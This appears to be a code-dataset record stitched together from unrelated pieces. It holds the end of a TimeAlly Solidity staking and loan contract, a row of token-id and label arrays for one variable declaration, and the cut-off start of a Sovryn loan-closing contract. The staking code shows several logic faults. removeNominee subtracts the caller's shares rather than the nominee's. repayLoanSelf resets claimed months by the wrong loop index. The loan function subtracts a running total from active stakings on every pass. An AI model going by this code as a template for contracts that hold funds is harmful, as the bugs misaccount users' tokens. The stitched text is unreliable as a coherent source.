/// @param _exaEsAmount - amount of ES tokens (in 18 decimals thats why 'exa') that user wishes to stake
/// @param _stakingPlanId - plan for staking
function newStaking(uint256 _exaEsAmount, uint256 _stakingPlanId) public {
/// @dev 0 ES stakings would get 0 ES benefits and might cause confusions as transaction would confirm but total active stakings will not increase
require(_exaEsAmount > 0
// , 'staking amount should be non zero'
);
require(token.transferFrom(msg.sender, address(this), _exaEsAmount)
// , 'could not transfer tokens'
);
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(_exaEsAmount);
}
stakings[msg.sender].push(Staking({
exaEsAmount: _exaEsAmount,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, _exaEsAmount, stakings[msg.sender].length - 1);
}
/// @notice this function is used to see total stakings of any user of TimeAlly
/// @param _userAddress - address of user
/// @return number of stakings of _userAddress
function getNumberOfStakingsByUser(address _userAddress) public view returns (uint256) {
return stakings[_userAddress].length;
}
/// @notice this function is used to topup reward balance in smart contract. Rewards are transferable. Anyone with reward balance can only claim it as a new staking.
/// @dev Allowance is required before topup.
/// @param _exaEsAmount - amount to add to your rewards for sending rewards to others
function topupRewardBucket(uint256 _exaEsAmount) public {
require(token.transferFrom(msg.sender, address(this), _exaEsAmount));
launchReward[msg.sender] = launchReward[msg.sender].add(_exaEsAmount);
}
/// @notice this function is used to send rewards to multiple users
/// @param _addresses - array of address to send rewards
/// @param _exaEsAmountArray - array of ExaES amounts sent to each address of _addresses with same index
function giveLaunchReward(address[] memory _addresses, uint256[] memory _exaEsAmountArray) public onlyOwner {
for(uint256 i = 0; i < _addresses.length; i++) {
launchReward[msg.sender] = launchReward[msg.sender].sub(_exaEsAmountArray[i]);
launchReward[_addresses[i]] = launchReward[_addresses[i]].add(_exaEsAmountArray[i]);
}
}
/// @notice this function is used by rewardees to claim their accrued rewards. This is also used by stakers to restake their 50% benefit received as rewards
/// @param _stakingPlanId - rewardee can choose plan while claiming rewards as stakings
function claimLaunchReward(uint256 _stakingPlanId) public {
// require(stakingPlans[_stakingPlanId].isPlanActive
// // , 'selected plan is not active'
// );
require(launchReward[msg.sender] > 0
// , 'launch reward should be non zero'
);
uint256 reward = launchReward[msg.sender];
launchReward[msg.sender] = 0;
// @dev logic similar to newStaking function
uint256 stakeEndMonth = getCurrentMonth() + stakingPlans[_stakingPlanId].months;
// @dev update the totalActiveStakings array so that staking would be automatically inactive after the stakingPlanMonthhs
for(
uint256 month = getCurrentMonth() + 1;
month <= stakeEndMonth;
month++
) {
totalActiveStakings[month] = totalActiveStakings[month].add(reward); /// @dev reward means locked ES which only staking option
}
stakings[msg.sender].push(Staking({
exaEsAmount: reward,
timestamp: now,
stakingMonth: getCurrentMonth(),
stakingPlanId: _stakingPlanId,
status: 1,
loanId: 0,
totalNominationShares: 0
}));
emit NewStaking(msg.sender, _stakingPlanId, reward, stakings[msg.sender].length - 1);
}
/// @notice used internally to see if staking is active or not. does not include if staking is claimed.
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _atMonth - particular month to check staking active
/// @return true is staking is in correct time frame and also no loan on it
function isStakingActive(
address _userAddress,
uint256 _stakingId,
uint256 _atMonth
) public view returns (bool) {
//uint256 stakingMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
return (
/// @dev _atMonth should be a month after which staking starts
stakings[_userAddress][_stakingId].stakingMonth + 1 <= _atMonth
/// @dev _atMonth should be a month before which staking ends
&& stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[ stakings[_userAddress][_stakingId].stakingPlanId ].months >= _atMonth
/// @dev staking should have active status
&& stakings[_userAddress][_stakingId].status == 1
/// @dev if _atMonth is current Month, then withdrawal should be allowed only after 30 days interval since staking
&& (
getCurrentMonth() != _atMonth
|| now >= stakings[_userAddress][_stakingId].timestamp
.add(
getCurrentMonth()
.sub(stakings[_userAddress][_stakingId].stakingMonth)
.mul(earthSecondsInMonth)
)
)
);
}
/// @notice this function is used for seeing the benefits of a staking of any user
/// @param _userAddress - address of user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to see benefits.
/// @return amount of ExaES of benefits of entered months
function seeBenefitOfAStakingByMonths(
address _userAddress,
uint256 _stakingId,
uint256[] memory _months
) public view returns (uint256) {
uint256 benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
/// @dev this require statement is converted into if statement for easier UI fetching. If there is no benefit for a month or already claimed, it will consider benefit of that month as 0 ES. But same is not done for withdraw function.
// require(
// isStakingActive(_userAddress, _stakingId, _months[i])
// && !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(_userAddress, _stakingId, _months[i])
&& !stakings[_userAddress][_stakingId].isMonthClaimed[_months[i]]) {
uint256 benefit = stakings[_userAddress][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
benefitOfAllMonths = benefitOfAllMonths.add(benefit);
}
}
return benefitOfAllMonths.mul(
stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15
).div(15);
}
/// @notice this function is used for withdrawing the benefits of a staking of any user
/// @param _stakingId - staking id
/// @param _months - array of months user is interested to withdraw benefits of staking.
function withdrawBenefitOfAStakingByMonths(
uint256 _stakingId,
uint256[] memory _months
) public {
uint256 _benefitOfAllMonths;
for(uint256 i = 0; i < _months.length; i++) {
// require(
// isStakingActive(msg.sender, _stakingId, _months[i])
// && !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]
// // , 'staking must be active'
// );
if(isStakingActive(msg.sender, _stakingId, _months[i])
&& !stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]]) {
uint256 _benefit = stakings[msg.sender][_stakingId].exaEsAmount
.mul(timeAllyMonthlyNRT[ _months[i] ])
.div(totalActiveStakings[ _months[i] ]);
_benefitOfAllMonths = _benefitOfAllMonths.add(_benefit);
stakings[msg.sender][_stakingId].isMonthClaimed[_months[i]] = true;
}
}
uint256 _luckPool = _benefitOfAllMonths
.mul( uint256(15).sub(stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].fractionFrom15) )
.div( 15 );
require( token.transfer(address(nrtManager), _luckPool) );
require( nrtManager.UpdateLuckpool(_luckPool) );
_benefitOfAllMonths = _benefitOfAllMonths.sub(_luckPool);
uint256 _halfBenefit = _benefitOfAllMonths.div(2);
require( token.transfer(msg.sender, _halfBenefit) );
launchReward[msg.sender] = launchReward[msg.sender].add(_halfBenefit);
// emit event
emit BenefitWithdrawl(msg.sender, _stakingId, _months, _halfBenefit);
}
/// @notice this function is used to withdraw the principle amount of multiple stakings which have their tenure completed
/// @param _stakingIds - input which stakings to withdraw
function withdrawExpiredStakings(uint256[] memory _stakingIds) public {
for(uint256 i = 0; i < _stakingIds.length; i++) {
require(now >= stakings[msg.sender][_stakingIds[i]].timestamp
.add(stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth))
// , 'cannot withdraw before staking ends'
);
stakings[msg.sender][_stakingIds[i]].status = 3;
token.transfer(msg.sender, stakings[msg.sender][_stakingIds[i]].exaEsAmount);
emit PrincipalWithdrawl(msg.sender, _stakingIds[i]);
}
}
/// @notice this function is used to estimate the maximum amount of loan that any user can take with their stakings
/// @param _userAddress - address of user
/// @param _stakingIds - array of staking ids which should be used to estimate max loan amount
/// @param _loanPlanId - the loan plan user wishes to take loan.
/// @return max loaning amount
function seeMaxLoaningAmountOnUserStakings(address _userAddress, uint256[] memory _stakingIds, uint256 _loanPlanId) public view returns (uint256) {
uint256 _currentMonth = getCurrentMonth();
//require(_currentMonth >= _atMonth, 'cannot see future stakings');
uint256 userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if(isStakingActive(_userAddress, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[_userAddress][_stakingIds[i]].timestamp + stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
userStakingsExaEsAmount = userStakingsExaEsAmount
.add(stakings[_userAddress][_stakingIds[i]].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
// .mul(stakingPlans[ stakings[_userAddress][_stakingIds[i]].stakingPlanId ].fractionFrom15)
// .div(15)
);
}
}
return userStakingsExaEsAmount;
//.mul( uint256(100).sub(loanPlans[_loanPlanId].loanRate) ).div(100);
}
/// @notice this function is used to take loan on multiple stakings
/// @param _loanPlanId - user can select this plan which defines loan duration and loan interest
/// @param _exaEsAmount - loan amount, this will also be the loan repay amount, the interest will first be deducted from this and then amount will be credited
/// @param _stakingIds - staking ids user wishes to encash for taking the loan
function takeLoanOnSelfStaking(uint256 _loanPlanId, uint256 _exaEsAmount, uint256[] memory _stakingIds) public {
// @dev when loan is to be taken, first calculate active stakings from given stakings array. this way we can get how much loan user can take and simultaneously mark stakings as claimed for next months number loan period
uint256 _currentMonth = getCurrentMonth();
uint256 _userStakingsExaEsAmount;
for(uint256 i = 0; i < _stakingIds.length; i++) {
if( isStakingActive(msg.sender, _stakingIds[i], _currentMonth)
&& (
// @dev if urgent loan is not allowed then loan can be taken only after staking period is completed 75%
stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].isUrgentLoanAllowed
|| now > stakings[msg.sender][_stakingIds[i]].timestamp + stakingPlans[ stakings[msg.sender][_stakingIds[i]].stakingPlanId ].months.mul(earthSecondsInMonth).mul(75).div(100)
)
) {
// @dev store sum in a number
_userStakingsExaEsAmount = _userStakingsExaEsAmount
.add(
stakings[msg.sender][ _stakingIds[i] ].exaEsAmount
.mul(loanPlans[_loanPlanId].maxLoanAmountPercent)
.div(100)
);
// @dev subtract total active stakings
uint256 stakingStartMonth = stakings[msg.sender][_stakingIds[i]].stakingMonth;
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingIds[i]].stakingPlanId].months;
for(uint256 j = _currentMonth + 1; j <= stakeEndMonth; j++) {
totalActiveStakings[j] = totalActiveStakings[j].sub(_userStakingsExaEsAmount);
}
// @dev make stakings inactive
for(uint256 j = 1; j <= loanPlans[_loanPlanId].loanMonths; j++) {
stakings[msg.sender][ _stakingIds[i] ].isMonthClaimed[ _currentMonth + j ] = true;
stakings[msg.sender][ _stakingIds[i] ].status = 2; // means in loan
}
}
}
uint256 _maxLoaningAmount = _userStakingsExaEsAmount;
if(_exaEsAmount > _maxLoaningAmount) {
require(false
// , 'cannot loan more than maxLoaningAmount'
);
}
uint256 _loanInterest = _exaEsAmount.mul(loanPlans[_loanPlanId].loanRate).div(100);
uint256 _loanAmountToTransfer = _exaEsAmount.sub(_loanInterest);
require( token.transfer(address(nrtManager), _loanInterest) );
require( nrtManager.UpdateLuckpool(_loanInterest) );
loans[msg.sender].push(Loan({
exaEsAmount: _exaEsAmount,
timestamp: now,
loanPlanId: _loanPlanId,
status: 1,
stakingIds: _stakingIds
}));
// @dev send user amount
require( token.transfer(msg.sender, _loanAmountToTransfer) );
emit NewLoan(msg.sender, _loanPlanId, _exaEsAmount, _loanInterest, loans[msg.sender].length - 1);
}
/// @notice repay loan functionality
/// @dev need to give allowance before this
/// @param _loanId - select loan to repay
function repayLoanSelf(uint256 _loanId) public {
require(loans[msg.sender][_loanId].status == 1
// , 'can only repay pending loans'
);
require(loans[msg.sender][_loanId].timestamp + loanPlans[ loans[msg.sender][_loanId].loanPlanId ].loanMonths.mul(earthSecondsInMonth) > now
// , 'cannot repay expired loan'
);
require(token.transferFrom(msg.sender, address(this), loans[msg.sender][_loanId].exaEsAmount)
// , 'cannot receive enough tokens, please check if allowance is there'
);
loans[msg.sender][_loanId].status = 2;
// @dev get all stakings associated with this loan. and set next unclaimed months. then set status to 1 and also add to totalActiveStakings
for(uint256 i = 0; i < loans[msg.sender][_loanId].stakingIds.length; i++) {
uint256 _stakingId = loans[msg.sender][_loanId].stakingIds[i];
stakings[msg.sender][_stakingId].status = 1;
uint256 stakingStartMonth = stakings[msg.sender][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 stakeEndMonth = stakingStartMonth + stakingPlans[stakings[msg.sender][_stakingId].stakingPlanId].months;
for(uint256 j = getCurrentMonth() + 1; j <= stakeEndMonth; j++) {
stakings[msg.sender][_stakingId].isMonthClaimed[i] = false;
totalActiveStakings[j] = totalActiveStakings[j].add(stakings[msg.sender][_stakingId].exaEsAmount);
}
}
// add repay event
emit RepayLoan(msg.sender, _loanId);
}
function burnDefaultedLoans(address[] memory _addressArray, uint256[] memory _loanIdArray) public {
uint256 _amountToBurn;
for(uint256 i = 0; i < _addressArray.length; i++) {
require(
loans[ _addressArray[i] ][ _loanIdArray[i] ].status == 1
// , 'loan should not be repayed'
);
require(
now >
loans[ _addressArray[i] ][ _loanIdArray[i] ].timestamp
+ loanPlans[ loans[ _addressArray[i] ][ _loanIdArray[i] ].loanPlanId ].loanMonths.mul(earthSecondsInMonth)
// , 'loan should have crossed its loan period'
);
uint256[] storage _stakingIdsOfLoan = loans[ _addressArray[i] ][ _loanIdArray[i] ].stakingIds;
/// @dev add staking amounts of all stakings on which loan is taken
for(uint256 j = 0; j < _stakingIdsOfLoan.length; j++) {
_amountToBurn = _amountToBurn.add(
stakings[ _addressArray[i] ][ _stakingIdsOfLoan[j] ].exaEsAmount
);
}
/// @dev sub loan amount
_amountToBurn = _amountToBurn.sub(
loans[ _addressArray[i] ][ _loanIdArray[i] ].exaEsAmount
);
}
require(token.transfer(address(nrtManager), _amountToBurn));
require(nrtManager.UpdateBurnBal(_amountToBurn));
// emit event
}
/// @notice this function is used to add nominee to a staking
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee to be added to staking
/// @param _shares - amount of shares of the staking to the nominee
/// @dev shares is compared with total shares issued in a staking to see the percent nominee can withdraw. Nominee can withdraw only after one year past the end of tenure of staking. Upto 1 year past the end of tenure of staking, owner can withdraw principle amount of staking as well as can CRUD nominees. Owner of staking is has this time to withdraw their staking, if they fail to do so, after that nominees are allowed to withdraw. Withdrawl by first nominee will trigger staking into nomination mode and owner of staking cannot withdraw the principle amount as it will be distributed with only nominees and only they can withdraw it.
function addNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
require(stakings[msg.sender][_stakingId].status == 1
// , 'staking should active'
);
require(stakings[msg.sender][_stakingId].nomination[_nomineeAddress] == 0
// , 'should not be nominee already'
);
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_shares);
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = _shares;
emit NomineeNew(msg.sender, _stakingId, _nomineeAddress);
}
/// @notice this function is used to read the nomination of a nominee address of a staking of a user
/// @param _userAddress - address of staking owner
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
/// @return nomination of the nominee
function viewNomination(address _userAddress, uint256 _stakingId, address _nomineeAddress) public view returns (uint256) {
return stakings[_userAddress][_stakingId].nomination[_nomineeAddress];
}
// /// @notice this function is used to update nomination of a nominee of sender's staking
// /// @param _stakingId - staking id
// /// @param _nomineeAddress - address of nominee
// /// @param _shares - shares to be updated for the nominee
// function updateNominee(uint256 _stakingId, address _nomineeAddress, uint256 _shares) public {
// require(stakings[msg.sender][_stakingId].status == 1
// // , 'staking should active'
// );
// uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[_nomineeAddress];
// if(_shares > _oldShares) {
// uint256 _diff = _shares.sub(_oldShares);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.add(_diff);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].add(_diff);
// } else if(_shares < _oldShares) {
// uint256 _diff = _oldShares.sub(_shares);
// stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = stakings[msg.sender][_stakingId].nomination[_nomineeAddress].sub(_diff);
// stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_diff);
// }
// }
/// @notice this function is used to remove nomination of a address
/// @param _stakingId - staking id
/// @param _nomineeAddress - address of nominee
function removeNominee(uint256 _stakingId, address _nomineeAddress) public {
require(stakings[msg.sender][_stakingId].status == 1, 'staking should active');
uint256 _oldShares = stakings[msg.sender][_stakingId].nomination[msg.sender];
stakings[msg.sender][_stakingId].nomination[_nomineeAddress] = 0;
stakings[msg.sender][_stakingId].totalNominationShares = stakings[msg.sender][_stakingId].totalNominationShares.sub(_oldShares);
}
/// @notice this function is used by nominee to withdraw their share of a staking after 1 year of the end of tenure of staking
/// @param _userAddress - address of user
/// @param _stakingId - staking id
function nomineeWithdraw(address _userAddress, uint256 _stakingId) public {
// end time stamp > 0
uint256 currentTime = now;
require( currentTime > (stakings[_userAddress][_stakingId].timestamp
+ stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months * earthSecondsInMonth
+ 12 * earthSecondsInMonth )
// , 'cannot nominee withdraw before '
);
uint256 _nomineeShares = stakings[_userAddress][_stakingId].nomination[msg.sender];
require(_nomineeShares > 0
// , 'Not a nominee of this staking'
);
//uint256 _totalShares = ;
// set staking to nomination mode if it isn't.
if(stakings[_userAddress][_stakingId].status != 5) {
stakings[_userAddress][_stakingId].status = 5;
}
// adding principal account
uint256 _pendingLiquidAmountInStaking = stakings[_userAddress][_stakingId].exaEsAmount;
uint256 _pendingAccruedAmountInStaking;
// uint256 _stakingStartMonth = stakings[_userAddress][_stakingId].timestamp.sub(deployedTimestamp).div(earthSecondsInMonth);
uint256 _stakeEndMonth = stakings[_userAddress][_stakingId].stakingMonth + stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].months;
// adding monthly benefits which are not claimed
for(
uint256 i = stakings[_userAddress][_stakingId].stakingMonth; //_stakingStartMonth;
i < _stakeEndMonth;
i++
) {
if( stakings[_userAddress][_stakingId].isMonthClaimed[i] ) {
uint256 _effectiveAmount = stakings[_userAddress][_stakingId].exaEsAmount
.mul(stakingPlans[stakings[_userAddress][_stakingId].stakingPlanId].fractionFrom15)
.div(15);
uint256 _monthlyBenefit = _effectiveAmount
.mul(timeAllyMonthlyNRT[i])
.div(totalActiveStakings[i]);
_pendingLiquidAmountInStaking = _pendingLiquidAmountInStaking.add(_monthlyBenefit.div(2));
_pendingAccruedAmountInStaking = _pendingAccruedAmountInStaking.add(_monthlyBenefit.div(2));
}
}
// now we have _pendingLiquidAmountInStaking && _pendingAccruedAmountInStaking
// on which user's share will be calculated and sent
// marking nominee as claimed by removing his shares
stakings[_userAddress][_stakingId].nomination[msg.sender] = 0;
uint256 _nomineeLiquidShare = _pendingLiquidAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
token.transfer(msg.sender, _nomineeLiquidShare);
uint256 _nomineeAccruedShare = _pendingAccruedAmountInStaking
.mul(_nomineeShares)
.div(stakings[_userAddress][_stakingId].totalNominationShares);
launchReward[msg.sender] = launchReward[msg.sender].add(_nomineeAccruedShare);
// emit a event
emit NomineeWithdraw(_userAddress, _stakingId, msg.sender, _nomineeLiquidShare, _nomineeAccruedShare);
}
}
| variable to store last NRT released to the address;
| uint256 public kmPardsBal; | 12,590,515 | [
1,
6105,
358,
1707,
1142,
423,
12185,
15976,
358,
326,
1758,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2254,
5034,
1071,
18952,
52,
14727,
38,
287,
31,
10792,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* Copyright 2017-2020, bZeroX, LLC. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
import "../core/State.sol";
import "../events/LoanClosingsEvents.sol";
import "../mixins/VaultController.sol";
import "../mixins/InterestUser.sol";
import "../swaps/SwapsUser.sol";
import "../mixins/RewardHelper.sol";
import "../mixins/ModuleCommonFunctionalities.sol";
/**
* @title LoanClosingsShared contract.
* @notice This contract should only contains the internal function that is being used / utilized by
* LoanClosingsLiquidation, LoanClosingsRollover & LoanClosingsWith contract
*
* */
contract LoanClosingsShared is LoanClosingsEvents, VaultController, InterestUser, SwapsUser, RewardHelper, ModuleCommonFunctionalities {
uint256 internal constant MONTH = 365 days / 12;
//0.00001 BTC, would be nicer in State.sol, but would require a redeploy of the complete protocol, so adding it here instead
//because it's not shared state anyway and only used by this contract
uint256 public constant paySwapExcessToBorrowerThreshold = 10000000000000;
uint256 public constant TINY_AMOUNT = 25e13;
enum CloseTypes { Deposit, Swap, Liquidation }
/**
* @dev computes the interest which needs to be refunded to the borrower based on the amount he's closing and either
* subtracts it from the amount which still needs to be paid back (in case outstanding amount > interest) or withdraws the
* excess to the borrower (in case interest > outstanding).
* @param loanLocal the loan
* @param loanParamsLocal the loan params
* @param loanCloseAmount the amount to be closed (base for the computation)
* @param receiver the address of the receiver (usually the borrower)
* */
function _settleInterestToPrincipal(
Loan memory loanLocal,
LoanParams memory loanParamsLocal,
uint256 loanCloseAmount,
address receiver
) internal returns (uint256) {
uint256 loanCloseAmountLessInterest = loanCloseAmount;
//compute the interest which neeeds to be refunded to the borrower (because full interest is paid on loan )
uint256 interestRefundToBorrower = _settleInterest(loanParamsLocal, loanLocal, loanCloseAmountLessInterest);
uint256 interestAppliedToPrincipal;
//if the outstanding loan is bigger than the interest to be refunded, reduce the amount to be paid back / closed by the interest
if (loanCloseAmountLessInterest >= interestRefundToBorrower) {
// apply all of borrower interest refund torwards principal
interestAppliedToPrincipal = interestRefundToBorrower;
// principal needed is reduced by this amount
loanCloseAmountLessInterest -= interestRefundToBorrower;
// no interest refund remaining
interestRefundToBorrower = 0;
} else {
//if the interest refund is bigger than the outstanding loan, the user needs to get back the interest
// principal fully covered by excess interest
interestAppliedToPrincipal = loanCloseAmountLessInterest;
// amount refunded is reduced by this amount
interestRefundToBorrower -= loanCloseAmountLessInterest;
// principal fully covered by excess interest
loanCloseAmountLessInterest = 0;
if (interestRefundToBorrower != 0) {
// refund overage
_withdrawAsset(loanParamsLocal.loanToken, receiver, interestRefundToBorrower);
}
}
//pay the interest to the lender
//note: this is a waste of gas, because the loanCloseAmountLessInterest is withdrawn to the lender, too. It could be done at once.
if (interestAppliedToPrincipal != 0) {
// The lender always gets back an ERC20 (even wrbtc), so we call withdraw directly rather than
// use the _withdrawAsset helper function
vaultWithdraw(loanParamsLocal.loanToken, loanLocal.lender, interestAppliedToPrincipal);
}
return loanCloseAmountLessInterest;
}
// The receiver always gets back an ERC20 (even wrbtc)
function _returnPrincipalWithDeposit(
address loanToken,
address receiver,
uint256 principalNeeded
) internal {
if (principalNeeded != 0) {
if (msg.value == 0) {
vaultTransfer(loanToken, msg.sender, receiver, principalNeeded);
} else {
require(loanToken == address(wrbtcToken), "wrong asset sent");
require(msg.value >= principalNeeded, "not enough ether");
wrbtcToken.deposit.value(principalNeeded)();
if (receiver != address(this)) {
vaultTransfer(loanToken, address(this), receiver, principalNeeded);
}
if (msg.value > principalNeeded) {
// refund overage
Address.sendValue(msg.sender, msg.value - principalNeeded);
}
}
} else {
require(msg.value == 0, "wrong asset sent");
}
}
/**
* @dev checks if the amount of the asset to be transfered is worth the transfer fee
* @param asset the asset to be transfered
* @param amount the amount to be transfered
* @return True if the amount is bigger than the threshold
* */
function worthTheTransfer(address asset, uint256 amount) internal returns (bool) {
uint256 amountInRbtc = _getAmountInRbtc(asset, amount);
emit swapExcess(amountInRbtc > paySwapExcessToBorrowerThreshold, amount, amountInRbtc, paySwapExcessToBorrowerThreshold);
return amountInRbtc > paySwapExcessToBorrowerThreshold;
}
/**
* swaps collateral tokens for loan tokens
* @param loanLocal the loan object
* @param loanParamsLocal the loan parameters
* @param swapAmount the amount to be swapped
* @param principalNeeded the required destination token amount
* @param returnTokenIsCollateral if true -> required destination token amount will be passed on, else not
* note: quite dirty. should be refactored.
* @param loanDataBytes additional loan data (not in use for token swaps)
* */
function _doCollateralSwap(
Loan memory loanLocal,
LoanParams memory loanParamsLocal,
uint256 swapAmount,
uint256 principalNeeded,
bool returnTokenIsCollateral,
bytes memory loanDataBytes
)
internal
returns (
uint256 destTokenAmountReceived,
uint256 sourceTokenAmountUsed,
uint256 collateralToLoanSwapRate
)
{
(destTokenAmountReceived, sourceTokenAmountUsed, collateralToLoanSwapRate) = _loanSwap(
loanLocal.id,
loanParamsLocal.collateralToken,
loanParamsLocal.loanToken,
loanLocal.borrower,
swapAmount, // minSourceTokenAmount
loanLocal.collateral, // maxSourceTokenAmount
returnTokenIsCollateral
? principalNeeded // requiredDestTokenAmount
: 0,
false, // bypassFee
loanDataBytes
);
require(destTokenAmountReceived >= principalNeeded, "insufficient dest amount");
require(sourceTokenAmountUsed <= loanLocal.collateral, "excessive source amount");
}
/**
* @notice Withdraw asset to receiver.
*
* @param assetToken The loan token.
* @param receiver The address of the receiver.
* @param assetAmount The loan token amount.
* */
function _withdrawAsset(
address assetToken,
address receiver,
uint256 assetAmount
) internal {
if (assetAmount != 0) {
if (assetToken == address(wrbtcToken)) {
vaultEtherWithdraw(receiver, assetAmount);
} else {
vaultWithdraw(assetToken, receiver, assetAmount);
}
}
}
/**
* @notice Internal function to close a loan.
*
* @param loanLocal The loan object.
* @param loanCloseAmount The amount to close: principal or lower.
*
* */
function _closeLoan(Loan storage loanLocal, uint256 loanCloseAmount) internal {
require(loanCloseAmount != 0, "nothing to close");
if (loanCloseAmount == loanLocal.principal) {
loanLocal.principal = 0;
loanLocal.active = false;
loanLocal.endTimestamp = block.timestamp;
loanLocal.pendingTradesId = 0;
